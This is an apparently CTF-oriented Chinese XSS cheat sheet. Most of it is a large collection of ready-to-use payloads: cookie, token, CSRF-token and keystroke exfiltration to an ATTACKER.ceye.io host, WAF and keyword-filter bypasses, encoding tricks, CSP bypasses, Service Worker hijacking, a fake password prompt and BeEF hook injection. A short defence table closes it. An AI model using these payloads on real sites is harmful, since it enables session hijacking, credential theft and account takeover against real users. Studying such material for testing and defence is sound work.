前言

XSS(Cross-Site Scripting,跨站脚本攻击)是 Web 安全中最经典、最普遍的漏洞之一。攻击者将恶意脚本注入目标页面,在受害者浏览器中执行,从而窃取 Cookie、劫持会话、篡改页面内容、发起 CSRF 请求,甚至配合其他漏洞实现完整的账户接管。

XSS 的三种类型:

类型 触发方式 持久性 典型场景
反射型 (Reflected) 用户点击恶意链接,参数立即执行 一次性 搜索框、错误提示中 echo 用户输入
存储型 (Stored) 恶意代码存入数据库,所有访问者触发 持久 留言板、评论、用户资料
DOM 型 (DOM-based) JS 取 URL 参数写入 innerHTML,不经过服务端 取决于来源 location.hashdocument.write

本文从基础 Payload 开始,按 HTML 标签分类整理了十余种 XSS 触发方式,然后逐层深入 WAF 绕过、编码技巧、CSP 绕过、DOM Clobbering、Service Worker 劫持等进阶手法,最后给出自动化工具和防御方案。


一、基础 Payload 字典(按 HTML 标签分类)

1.1 <script> 标签

最经典的 XSS 载体,直接注入脚本:

1
2
3
4
5
6
7
8
9
10
11
<!-- 外带 Cookie -->
<script>window.open('http://ATTACKER.ceye.io/' + document.cookie)</script>

<!-- 使用 Image 对象(无弹窗,更隐蔽) -->
<script>
var img = document.createElement("img");
img.src = 'http://ATTACKER.ceye.io/?c=' + document.cookie;
</script>

<!-- location.href 跳转(适合无窗口拦截的场景) -->
<script>location.href="http://ATTACKER.ceye.io/?c=" + document.cookie</script>

1.2 <body> 标签

1
<body onload="window.open('http://ATTACKER.ceye.io/'+document.cookie)">

onload 在页面加载完成后自动触发,不需要用户交互。

1.3 <svg> 标签

1
2
<svg onload="window.open('http://ATTACKER.ceye.io/'+document.cookie)">
<svg onload="location.href='http://ATTACKER/get.php?c='+document.cookie">

<svg> 是自闭合标签,不需要 </svg>,且 onload 在 SVG 渲染时自动触发。常见 WAF 可能只过滤 script 而放行 svg

1.4 <img> 标签

1
2
<img src=x onerror="window.open('http://ATTACKER.ceye.io/'+document.cookie)">
<img src=x onerror="location.href='http://ATTACKER/?c='+document.cookie">

原理:src=x 是一个不存在的图片路径,加载失败触发 onerror 事件,执行攻击代码。这是最常用的绕过方式之一。

1.5 <input> 标签

1
<input onfocus="window.open('http://ATTACKER.ceye.io/'+document.cookie)" autofocus>

autofocus 让元素在页面加载时自动获得焦点,触发 onfocus 事件。

1.6 <iframe> 标签

1
<iframe onload="window.open('http://ATTACKER.ceye.io/'+document.cookie)"></iframe>

iframe 也可用于嵌入攻击页面或 data: 协议的 payload。

1.7 <a> 标签

1
2
<a href="javascript:alert(1)">click me</a>
<a href="data:text/html,<script>alert(1)</script>">click</a>

需要用户点击,但在钓鱼场景中极为有效。

1.8 <video> / <audio> 标签

1
2
3
<video src=x onerror="alert(1)">
<audio src=x onerror="alert(1)">
<video><source onerror=alert(1)>

1.9 <details> / <summary> 标签

1
<details open ontoggle="alert(1)">

ontoggle<details> 展开/收起时触发,open 属性使其默认展开,页面加载时立即触发。

1.10 <marquee> / <select> / 其他事件标签

1
2
3
4
5
6
<marquee onstart="alert(1)">
<marquee onfinish="alert(1)">
<select onfocus="alert(1)" autofocus>
<textarea onfocus="alert(1)" autofocus>
<keygen onfocus="alert(1)" autofocus>
<body onpageshow="alert(1)">

1.11 <embed> 标签

1
2
<embed src="javascript:alert(document.cookie)">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

embed 用于嵌入外部内容。javascript: 是伪协议,和 data: 类似,可直接执行 JavaScript。


二、窃取页面特定内容

2.1 获取指定元素的 HTML

当攻击目标不是 Cookie,而是页面上的特定内容(如后台列表中的 flag),可以用 DOM 方法获取:

1
2
3
4
5
6
7
8
<!-- 获取第 2 个指定类名元素的内部 HTML -->
<script>location.href="http://ATTACKER.ceye.io/"+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML</script>

<!-- 获取第 4 个指定类名元素 -->
<script>location.href="http://ATTACKER.ceye.io/"+document.getElementsByClassName('layui-table-cell laytable-cell')[3].innerHTML</script>

<!-- 获取完整 HTML(含元素自身的标签) -->
<script>location.href="http://ATTACKER.ceye.io/"+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].outerHTML</script>
  • **innerHTML**:获取元素内部的 HTML 内容(不含自身标签)
  • **outerHTML**:获取元素的完整 HTML(含自身标签)
  • **[N]**:getElementsByClassName 返回的是 HTMLCollection(类数组),[1] 取第 2 个匹配元素(索引从 0 开始)

2.2 循环遍历查找特定内容(jQuery)

1
2
3
4
5
6
7
8
9
10
11
<script>
// 遍历页面上所有具有指定 class 的元素
$('.laytable-cell-1-0-1').each(function(index, value) {
// 检查当前元素内容是否包含 flag 格式
if (value.innerHTML.indexOf('ctf' + 'show' + '{') > -1) {
// indexOf 返回子串的位置,> -1 表示找到了
// 将 flag 通过外发请求发送到攻击者服务器
window.location.href = 'http://ATTACKER.ceye.io/?c=' + value.innerHTML;
}
});
</script>

代码解读:

  1. $('.laytable-cell-1-0-1'):jQuery 选择器,选中所有匹配该 class 的元素
  2. .each(function(index, value) {...}):遍历每个匹配元素,index 是序号,value 是当前 DOM 元素
  3. value.innerHTML.indexOf('ctfshow{') > -1:检查元素的 HTML 内容中是否包含 “ctfshow{“(indexOf 返回首次出现的索引,不存在时返回 -1
  4. 找到后通过 window.location.href 将内容外带到攻击者服务器
1
2
3
4
5
6
7
8
9
10
11
<!-- 获取 localStorage -->
<script>location.href="http://ATTACKER/?d="+localStorage.getItem('token')</script>

<!-- 获取 sessionStorage -->
<script>location.href="http://ATTACKER/?d="+sessionStorage.getItem('secret')</script>

<!-- 获取页面源码 -->
<script>location.href="http://ATTACKER/?d="+document.documentElement.outerHTML</script>

<!-- 获取 CSRF Token -->
<script>location.href="http://ATTACKER/?csrf="+document.querySelector('meta[name=csrf-token]').content</script>

三、WAF 绕过技巧

3.1 绕过空格过滤

1
2
3
4
5
6
7
8
9
10
11
12
<!-- 用 /**/ 代替空格(利用浏览器容错) -->
<svg/**/onload="window.open('http://ATTACKER.ceye.io/'+document.cookie)">

<!-- 用 / 代替空格 -->
<svg/onload="window.open('http://ATTACKER.ceye.io/'+document.cookie)">

<!-- URL 编码空白符 -->
<svg%09onload="alert(1)"> <!-- %09 = Tab -->
<svg%0aonload="alert(1)"> <!-- %0a = 换行 -->
<svg%0conload="alert(1)"> <!-- %0c = 换页 -->
<svg%0donload="alert(1)"> <!-- %0d = 回车 -->
<svg%20onload="alert(1)"> <!-- %20 = 空格 -->

3.2 绕过 <> 过滤

(1)利用浏览器自动补全机制

1
2
<body onload="window.open('http://ATTACKER.ceye.io/'+document.cookie)"
<!-- 少写了 >,浏览器解析时自动补充 -->

(2)利用 <!-- 注释:

1
2
<!-- 注释掉 WAF 能看到的部分,让浏览器重新拼接 -->
<scr<!-- comment -->ipt>alert(1)</scr<!-- comment -->ipt>

3.3 绕过 htmlspecialchars

htmlspecialchars()<>'"& 转为 HTML 实体。但它不处理反引号事件中的字符实体解析

1
2
3
4
<!-- 如果输出在 <a href="..."> 中,不需要 < > -->
javascript:alert(1)

<!-- 如果在 onerror 等事件属性中,htmlspecialchars 后的内容仍可能被浏览器拼接执行 -->

3.4 绕过 strip_tags

strip_tags() 会去掉所有 HTML 标签(去掉 <> 包围的内容),但并非所有场景都适用——如果用户输入只部分经过 strip_tags 或输出在属性值中,仍然可能被利用。

3.5 绕过 alert 等关键字过滤

(1)可替换函数:

1
2
3
4
<script>prompt(/xss/)</script>           <!-- 弹出带输入框的对话框 -->
<script>confirm(/xss/)</script> <!-- 弹出带确定/取消的对话框 -->
<script>console.log(1)</script> <!-- 控制台输出(无感) -->
<script>document.write(1)</script> <!-- 写入文档 -->

(2)base64 编码 + 反引号绕过括号:

1
2
3
4
5
6
7
8
9
10
11
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}`">
<!-- atob 解码 base64 → 'alert(1)'
Function`a${'alert(1)'}` → new Function('a', 'alert(1)')
第一个参数 'a' 是形参,第二个是函数体
反引号 `` 在这里作为标签模板字符串,替代了括号 -->

<!-- Function 被 ban 时的变体 -->
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}`">
<!-- ''.constructor → String
String.constructor → Function
等价于 Function -->

(3)HTML 实体编码(对 event 属性内部的 JS 有效):

1
2
<img src=# onerror=&#97;lert(document.cookie)>
<!-- &#97; → a,浏览器在事件处理器中会做 HTML 实体解码 -->

(4)eval 拼接:

1
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">

(5)注释干扰 + 标签拆分:

1
<scr<!--test-->ipt>alert(1)</scr<!--test-->ipt>

3.6 绕过引号过滤

1
2
3
4
5
<!-- 反引号 (backtick) 替代 -->
<img src=x onerror=alert(`xss`)>

<!-- 反斜杠转义 + 自闭合 -->
<img src=x onerror=alert(\xss\)>

3.7 绕过括号过滤

(1)反引号替代(标签模板字符串):

1
<script>alert`1`</script>

当函数以 func`template` 形式调用时,反引号中的内容会作为第一个参数传入。对于 alert,这会显示 “1”。

(2)throw 绕过(利用 window.onerror):

1
2
3
4
5
<!-- 基础版:用抛出异常来传递 alert -->
<video src onerror="javascript:window.onerror=alert;throw 1">

<!-- 外带 Cookie 版 -->
<video src onerror="javascript:window.onerror=window.open;throw 'http://ATTACKER.ceye.io/'+document.cookie">

原理: window.onerror 是全局的错误处理函数。throw 1 抛出一个异常,浏览器调用 window.onerror(msg, ...),其中第一个参数 msg = "Uncaught 1"。但这里通过 onerror=alertonerror 替换为 alertthrow 1 就变成了 alert(1)

对于 Cookie 外带版本:throw 的参数是拼接出的 URL 字符串,传给 window.open → 发起请求。

3.8 绕过 eval 被禁用

eval 是最常见的动态执行函数,但即便它被禁用,JS 还有大量替代品:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<img src="x" onerror="[1].map(alert)">         <!-- 数组方法接受回调 -->
<img src="x" onerror="[1].find(alert)">
<img src="x" onerror="[1].every(alert)">
<img src="x" onerror="[1].filter(alert)">
<img src="x" onerror="[1].forEach(alert)">
<img src="x" onerror="[1].findIndex(alert)">

<img src="x" onerror="setTimeout(alert(1))"> <!-- 定时器延迟执行 -->
<img src="x" onerror="setInterval(alert(1))">

<img src="x" onerror="Set.constructor(alert(1))"> <!-- 构造函数 -->
<img src="x" onerror="Map.constructor(alert(1))">
<img src="x" onerror="Array.constructor(alert(1))">
<img src="x" onerror="WeakSet.constructor(alert(1))">
<img src="x" onerror="constructor.constructor(alert(1))">

注意:这些 payload 多数需要括号。如果括号也被过滤,需配合 3.7 的反引号技巧组合使用。


四、各类编码绕过汇总

4.1 HTML 实体编码

适用于在 HTML 属性值中出现的 JS 代码(如 href="..."onerror="..."):

1
2
3
4
5
6
7
8
9
10
11
<!-- 原始 -->
<a href="javascript:alert(1)">test</a>

<!-- 十进制字符编码 -->
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">test</a>

<!-- 十六进制字符编码 -->
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>

<!-- 去除分号(部分浏览器容错) -->
<a href="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29">test</a>

关键特性: <a> 标签的 href 属性中的内容会被浏览器自动做 HTML 实体解码,然后再执行。

4.2 URL 编码

1
2
3
4
5
<!-- 原始 -->
<a href="javascript:alert(1)">test</a>

<!-- URL 编码后 -->
<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>

4.3 Unicode 编码

适用于事件处理器中用引号包裹的 JS 字符串:

1
2
3
4
5
6
7
8
<!-- 原始 -->
<img src=x onerror="alert(1)">

<!-- Unicode JS 编码 -->
<img src=x onerror="alert(1)">

<!-- 在事件属性值中编码更多内容 -->
<input onfocus=location="javascript:alert(1)" autofocus>

4.4 ASCII 八进制 / 十六进制 / Unicode

1
2
3
4
5
6
7
8
9
10
11
<!-- 原始 -->
<svg onload=setTimeout('alert(1)')>

<!-- 八进制 JS 编码 -->
<svg onload=setTimeout('\141\154\145\162\164\050\061\051')>

<!-- 十六进制 JS 编码 -->
<svg onload=setTimeout('\x61\x6c\x65\x72\x74\x28\x31\x29')>

<!-- Unicode JS 编码 -->
<svg onload=setTimeout('alert(1)')>

4.5 String.fromCharCode(ASCII 码)

1
2
3
4
5
<!-- 十进制 ASCII -->
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>

<!-- 十六进制 ASCII -->
<a href='javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))'>test</a>

fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)"alert(1)",再用 eval 执行。

4.6 Base64 编码(data: 协议)

1
2
3
4
5
6
7
8
9
10
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>

<!-- <a> 标签(新版浏览器已限制 data: 导航) -->
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">test</a>

<!-- <iframe> 标签 -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe>

<!-- <embed> 标签 -->
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></embed>

4.7 拼接绕过关键词检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- eval 拼接 -->
<img src="x" onerror="eval('al'+'ert(1)')">

<!-- 对象属性访问 -->
<img src="x" onerror="top['al'+'ert'](1)">
<img src="x" onerror="window['al'+'ert'](1)">
<img src="x" onerror="self[`al`+`ert`](1)">
<img src="x" onerror="parent[`al`+`ert`](1)">
<img src="x" onerror="frames[`al`+`ert`](1)">

<!-- 赋值 + 调用 -->
<img src onerror=_=alert,_(1)>
<img src x=al y=ert onerror=top[x+y](1)>
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>

<!-- 链式构造 -->
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

五、长度限制绕过

1
2
3
4
5
6
<!-- 分多次写入,累积 payload -->
<script>a='document.write("'</script>
<script>a+='<script>aler'</script>
<script>a+='t(1)</scr'</script>
<script>a+='ipt>")'</script>
<script>eval(a)</script>

每次注入一小段,利用页面中存在的多个注入点逐步拼接出完整 payload。

替代方案:用 <script src="http://attacker/evil.js"> 直接引入外部脚本(不受长度限制)。


6.1 通过 XSS 修改用户密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!-- GET 请求修改 -->
<script>location.href="http://127.0.0.1/api/change.php?p=123456"</script>

<!-- 纯 JS POST 请求 -->
<script>
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);
httpRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
httpRequest.send('p=123456');
</script>

<!-- jQuery AJAX 版本 -->
<script>
$.ajax({
url: 'http://127.0.0.1/api/change.php',
type: 'POST',
data: { p: '12345678' }
});
</script>

6.2 内网探测(XSS → SSRF)

1
2
3
4
5
6
7
8
<script>
// 扫描内网端口(利用 img 或 fetch 的加载时间差异)
for (let i = 1; i < 256; i++) {
let img = new Image();
img.src = 'http://192.168.1.' + i + ':80/favicon.ico';
img.onload = function() { console.log('192.168.1.' + i + ' is alive'); };
}
</script>

6.3 键盘记录

1
2
3
4
5
6
<script>
document.onkeypress = function(e) {
var img = new Image();
img.src = 'http://ATTACKER/?k=' + e.key;
};
</script>

6.4 钓鱼弹窗

1
2
3
4
<script>
var pw = prompt('Your session expired, please re-enter your password:');
new Image().src = 'http://ATTACKER/?pw=' + encodeURIComponent(pw);
</script>

七、不出网的 XSS(Blind XSS)

有些环境限制了外连(如 CSP connect-src 'self'),无法直接向攻击者服务器发请求。此时需要将数据”写回”到当前网站的用户可见区域。

1
2
3
4
5
6
7
<script>
// 将 Cookie 写入留言板评论中
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:8888/comment", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("comment=" + encodeURIComponent(document.cookie));
</script>

攻击者也登录同一网站,刷新评论页面即可看到管理员 Cookie。

其他写回方式:

  • 修改自己的用户资料(bio/签名)
  • 向自己发送站内私信
  • 修改一个自己可控的页面/文章

八、CSP 绕过

CSP(Content Security Policy)是防御 XSS 的核心机制,但并非无懈可击。

8.1 CSP 基础

1
Content-Security-Policy: script-src 'self'; img-src *; style-src 'self'
指令 作用
script-src 'self' 只允许同源脚本
script-src 'unsafe-inline' 允许内联脚本和事件处理器(不安全
script-src 'unsafe-eval' 允许 evalFunction不安全
script-src 'nonce-...' 只允许带指定 nonce 的脚本
connect-src 'self' 限制 fetch/XHR 目标

8.2 利用 unsafe-inline

如果 CSP 允许 unsafe-inline,所有内联事件处理器 payload 照单全收:

1
<img src=x onerror="alert(1)">

8.3 JSONP 劫持绕过 script-src

如果 script-src 允许某个返回 JSONP 的域名:

1
<script src="https://trusted-cdn.com/api?callback=alert(1)"></script>

JSONP 端点通常把 callback 参数值拼进 JS 上下文 → alert(1)({...}) → 执行了 alert(1)

8.4 Angular/框架注入绕过 nonce

某些页面有合法的 <script nonce="..."> 加载 Angular,攻击者可以利用 Angular 的沙箱逃逸或模板注入在页面内执行代码。

8.5 <base> 标签劫持

1
2
<base href="http://attacker/">
<script src="jquery.js"></script> <!-- 实际加载 http://attacker/jquery.js -->

如果 script-src 过于宽松(如 script-src *),可以注入 <base> 标签,劫持相对路径脚本的加载目标。


九、进阶技术

9.1 DOM Clobbering

利用 HTML 元素的 idname 属性覆盖 JS 中已有的全局变量:

1
2
3
4
5
6
7
8
9
10
<form id="config">
<input name="apiUrl" value="http://attacker/evil">
</form>

<script>
// 如果没有严谨的存在性检查
if (config.apiUrl) {
fetch(config.apiUrl); // 实际访问了攻击者的 URL
}
</script>

当 JS 代码直接读取 config.apiUrl 而没有做 typeof 检查时,<form id="config"> 会覆盖全局的 config 对象。

9.2 Service Worker 劫持

如果目标域允许注册 Service Worker(需要 script-srcworker-src 指令宽松),XSS 可以注册恶意 SW:

1
2
3
<script>
navigator.serviceWorker.register('http://attacker/sw.js', {scope: '/'});
</script>

恶意 SW 可以拦截该域名下所有请求,实现持久化后门。

9.3 postMessage XSS

1
2
3
4
5
6
<script>
window.addEventListener('message', function(e) {
// 没有验证 e.origin,直接写入了 attacker 控制的 e.data
document.getElementById('content').innerHTML = e.data;
});
</script>

攻击者通过 window.postMessage 向目标页面发送恶意 HTML,由于缺少 origin 校验,造成 DOM XSS。

9.4 MutationObserver(绕过动态 DOM 清理)

如果页面有 JS 定期清理 <script> 标签,可以用 MutationObserver 反制:

1
2
3
4
5
<script>
new MutationObserver(function() {
// 每次 DOM 被清理后,重新注入恶意代码
}).observe(document.documentElement, {childList: true, subtree: true});
</script>

十、自动化工具

10.1 BeEF(Browser Exploitation Framework)

1
2
3
4
5
# 启动 BeEF
beef-xss

# 在受害者页面上挂载 Hook
<script src="http://ATTACKER:3000/hook.js"></script>

BeEF 提供完整的浏览器控制面板,支持:

  • 获取浏览器指纹、系统信息
  • 窃取 Cookie 和 LocalStorage
  • 内网探测
  • 钓鱼弹窗
  • 配合 Metasploit 实现浏览器漏洞利用

10.2 XSStrike

1
2
3
4
5
6
7
8
# 全自动扫描
python3 xsstrike.py -u "http://target.com/?q=test"

# 带 Cookie 扫描
python3 xsstrike.py -u "http://target.com/search" --data "q=test" --cookie "session=xxx"

# 爬取 + 扫描
python3 xsstrike.py -u "http://target.com" --crawl

XSStrike 特点:Fuzzing + WAF 检测 + 上下文分析 + 自动生成针对性 Payload。

10.3 dalfox

1
2
3
4
5
# 快速扫描
dalfox url http://target.com/?q=test

# 从 Burp 日志批量扫描
dalfox file urls.txt

10.4 XSS Hunter / Burp Collaborator

1
2
<!-- 在注入点挂载 -->
<script src="https://YOUR_SUBDOMAIN.xss.ht"></script>

每次受害者触发 XSS,XSS Hunter 会记录完整的浏览器指纹、Cookie、截图、DOM 快照。


十一、快速决策树

1
2
3
4
5
6
7
8
9
10
11
12
13
拿到输入 → 页面回显?
├── 是 → 尝试 <script>、<img onerror>、<svg onload>
│ → 被过滤?→ 换标签(body/iframe/marquee/video 等)
│ → <> 被过滤?→ 利用浏览器自动补全 / 属性注入
│ → 关键字被过滤?→ 编码 / 拼接 / eval 替代
│ → 括号被过滤?→ 反引号 / throw onerror
│ → 长度受限?→ 外部脚本 src / 分次拼接

├── 不出网(CSP 限制)→ 写回网站(评论/私信/资料)

└── DOM 型(URL/存储 → innerHTML)
→ 找 sink:document.write / innerHTML / eval / setTimeout
→ 再走上面 payload 流程

十二、防御措施

层面 措施 说明
输出编码 HTML 上下文中对 <>&'" 做 HTML 实体编码 最根本的防御,使用模板引擎的自动转义
输出编码 JS 上下文中做 \xHH 转义 输出在 <script> 标签内时用 hex 转义
输出编码 URL 上下文中做 %HH 编码 输出在 href 属性时确保协议白名单
CSP script-src 'self' + nonce/hash 阻止内联脚本和执行
CSP object-src 'none' 阻止 Flash/Java 等插件
CSP base-uri 'self' 阻止 <base> 劫持
Cookie HttpOnly 阻止 JS 读取 Cookie(对 document.cookie 无效但防御了多数窃取)
Cookie SameSite=Strict 阻止跨站请求携带 Cookie
输入验证 白名单而非黑名单 拒绝不合法的输入而非试图过滤恶意字符
框架 使用安全模板引擎 React/Vue/Angular 默认转义,避免 dangerouslySetInnerHTML

安全模板引擎示例

1
2
3
4
5
6
7
8
9
10
11
// 危险:直接渲染用户输入
element.innerHTML = userInput;

// 安全:使用 textContent
element.textContent = userInput;

// React:默认转义
<div>{userInput}</div> // ✓ 安全

// React:需要显式开启才会执行 HTML
<div dangerouslySetInnerHTML={{__html: userInput}} /> // ✗ 危险

参考